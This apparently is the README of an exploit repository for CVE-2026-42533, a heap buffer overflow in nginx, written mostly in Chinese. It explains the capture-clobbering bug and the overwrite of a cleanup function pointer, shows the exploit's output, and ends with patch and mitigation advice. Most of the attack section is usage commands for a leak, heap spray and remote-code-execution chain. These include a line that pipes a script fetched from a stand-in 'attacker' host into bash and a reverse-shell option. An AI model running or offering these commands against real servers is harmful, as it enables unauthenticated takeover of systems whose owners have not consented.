imbas007/cve-2026-42533针对 nginx 堆缓冲区溢出（CVE-2026-42533）的 Exploit，通过两遍捕获覆写（two-pass capture clobbering）实现预认证 RCE。包含信息泄露、堆喷射和反弹 Shell 模块。
通过双遍捕获覆写实现未认证远程代码执行
公开 PoC 已于 2026-07-27 发布 — 不要再等待，请立即修补。
| CVE | CVE-2026-42533 |
| CVSS 4.0 | 9.2（严重） |
| 类型 | 堆缓冲区溢出（CWE-122） |
| 影响版本 | nginx 0.9.6 – 1.30.3（稳定版），0.9.6 – 1.31.2（主线版） |
| 修复版本 | nginx 1.30.4 / 1.31.3，NGINX Plus R36 P7 / 37.0.3.1 |
| 披露时间 | 2026-07-15（F5 / NGINX） |
| PoC 发布时间 | 2026-07-27 |
| 研究人员 | Stan Shaw（0xCyberstan） |
| 平台 | 诊断 | 溢出 | 崩溃 | 信息泄露 |
|---|---|---|---|---|
| Ubuntu 24.04 x86_64 | ✅ | ✅ | ✅ SIGABRT | ⚠️ 部分 |
CVE-2026-42533 是 nginx 双遍字符串求值引擎中的一个严重堆缓冲区溢出漏洞。当基于正则表达式的 map 指令与编号捕获组（$1、$2 等）相互配合时，共享的 r->captures 结构会在 LEN（测量）遍与 VALUE（写入）遍之间被静默覆写，从而导致大小不匹配：
将这两种原语串联使用，即可实现可靠的未认证 RCE，绕过 ASLR——在 Ubuntu 24.04 上已验证具有 10/10 的可靠性。
┌─────────────────────────────────────────────────────────────┐
│ LEN PASS (measure) │
│ $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│ $overflow_gadget = giant_header → measures 5000 bytes │
│ Buffer allocated: 5003 bytes │
│ │
│ [ $overflow_gadget triggers map regex → clobbers $1 ] │
│ $1 now = giant_header (5000 bytes) │
│ │
│ VALUE PASS (write) │
│ $1 writes 5000 bytes (LEN said 3!) → OVERFLOW! │
│ $overflow_gadget writes 5000 bytes │
│ Total written: 10000 bytes into 5003-byte buffer │
│ → 4997 bytes overflow into adjacent heap │
└─────────────────────────────────────────────────────────────┘
溢出会破坏相邻的堆结构。主要目标是 ngx_pool_cleanup_t：
struct ngx_pool_cleanup_s {
ngx_pool_cleanup_pt handler; // function pointer → overwrite for RIP control
void *data; // argument to handler
ngx_pool_cleanup_t *next; // next in chain
};
当连接池被销毁时，会调用 handler(data) → 实现任意代码执行。
CVE-2026-42533/
├── exploit/
│ ├── exploit.py # Full exploit chain (leak → spray → overflow → RCE)
│ ├── leak.py # Info leak module (heap/libc pointer leak)
│ ├── overflow.py # Heap overflow module (crash / RCE trigger)
│ ├── analyze.py # GDB analysis helper for offset determination
│ └── requirements.txt # Python dependencies
├── nginx/
│ └── nginx.conf # Vulnerable nginx configuration
├── Dockerfile # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml # Docker Compose for easy deployment
└── README.md
requests）# Diagnostic mode — shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py <target> --diagnose
输出：
header= 10: LEN= 13 actual= 13 internal_overflow= 7 ✓
header= 100: LEN= 103 actual= 103 internal_overflow= 97 ✓
header= 1000: LEN= 1003 actual= 1003 internal_overflow= 997 ✓
python3 exploit/overflow.py <target> --crash
在 Ubuntu 24.04 上的结果：
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)
# Ubuntu 24.04 (confirmed working)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install
# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx
# Run exploit from your machine
python3 exploit/overflow.py <server-ip> --diagnose
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose
python3 exploit/exploit.py <target> [options]
# Examples:
python3 exploit/exploit.py 192.168.1.100 # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only # recon only
python3 exploit/exploit.py 192.168.1.100 --crash # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"
# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
--libc 0x7f1234000000 \
--heap 0x5a1234000000 \
--cmd "curl http://attacker/shell.sh | bash"
# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
--reverse-shell --lhost 10.0.0.1 --lport 4444
python3 exploit/leak.py <target> [options]
# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890
python3 exploit/overflow.py <target> --crash # crash worker (PoC)
python3 exploit/overflow.py <target> --spray # heap spray only
该漏洞利用需要 nginx 配置中存在以下特定模式：
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
"~^(.+)$" $1; # regex match overwrites $1
default "";
}
# 2. A regex location (creates captures)
server {
location ~ ^/api/(...)$ { # creates $1, $2, ...
# 3. Both capture AND map variable in same directive
return 200 "$1$overflow_gadget"; # ← two-pass sink
}
}
使用公开扫描器检测存在漏洞的配置：
Worker PID: 12282
[Phase 1] Diagnostic:
header=100: LEN=103, response=103 ✓
header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)
[Phase 2] Heap Corruption:
8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
→ 7997 bytes overflow past buffer boundary
Worker PID: 12331 (NEW — old worker DEAD!)
Error log:
free(): invalid next size (normal)
worker process 12282 exited on signal 6 (core dumped)
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1
将 map 指令中的编号捕获替换为命名捕获：
# VULNERABLE
map $http_foo $bar {
"~^(.+)$" $1; # numbered capture → clobbers shared state
}
# MITIGATED
map $http_foo $bar {
"~^(?<val>.+)$" $val; # named capture → isolated
}
nginx -v（应为 ≥ 1.30.4 或 ≥ 1.31.3）本 PoC 仅用于安全研究与防御目的。请仅对您拥有或已获得明确授权测试的系统使用。该漏洞已被修复——如果您尚未升级，请立即升级。